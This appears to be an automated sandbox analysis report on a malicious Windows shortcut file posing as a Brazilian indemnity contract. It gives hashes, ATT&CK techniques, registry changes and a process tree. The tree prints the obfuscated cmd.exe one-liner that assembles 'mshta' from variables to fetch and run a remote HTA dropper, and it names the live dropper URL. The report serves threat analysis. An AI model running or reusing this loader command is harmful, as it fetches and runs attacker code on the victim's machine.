aa526d7d1aabfa3c1068ca9cc8319e3898b0725b39c99f1d12090059d00c7758

General

Target
Contrato_Indeniza_Brasil-X0Q6CJ.lnk
Size 1KB
Sample260803-pxmapaxhjg
SHA256 aa526d7d1aabfa3c1068ca9cc8319e3898b0725b39c99f1d12090059d00c7758
MD5 f688e9c1db354895ecb0ba521857bd1c
SHA1 f2052ab57ffb3c0a800080273427cd53987ea13e
SHA512 28193478e0b8a75a88422894304aa1a428e0101c512e773af3a3e6dd1807609e3de4bf0bacc0db5941260aa02187ca5172ad550bb69defd30dbefa7e0d5db501
TLSH
T13B3197402AFD0614F2F78E7785BB6B2059BEF9AA8E20C60D40804A4C5022A01E57BF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

adware execution persistence ransomware spyware

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

Badlisted process makes network request 9 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	2288	mshta.exe
7	2288	mshta.exe
12	2288	mshta.exe
14	2288	mshta.exe
16	2288	mshta.exe
18	2288	mshta.exe
29	2288	mshta.exe
35	2288	mshta.exe
43	2288	mshta.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1896	cmd.exe
3624	cmd.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\MuiCache	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheLimit = "51200"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheLimit = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheVersion = "1"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheVersion = "1"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheLimit = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheVersion = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Extensible Cache	rundll32.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
644	rundll32.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3624 wrote to memory of 1896	3624	cmd.exe	87
PID 1896 wrote to memory of 2288	1896	cmd.exe	88
PID 2288 wrote to memory of 644	2288	mshta.exe	100
PID 644 wrote to memory of 4712	644	rundll32.exe	101

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-X0Q6CJ.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3624
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /c "set eis=msh&&set Yj=ta&&start "" !eis!!Yj! https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1896
- - C:\Windows\System32\mshta.exe
    mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
    3⤵
    - Badlisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2288
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:644
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        Modifies registry class
        
        PID:4712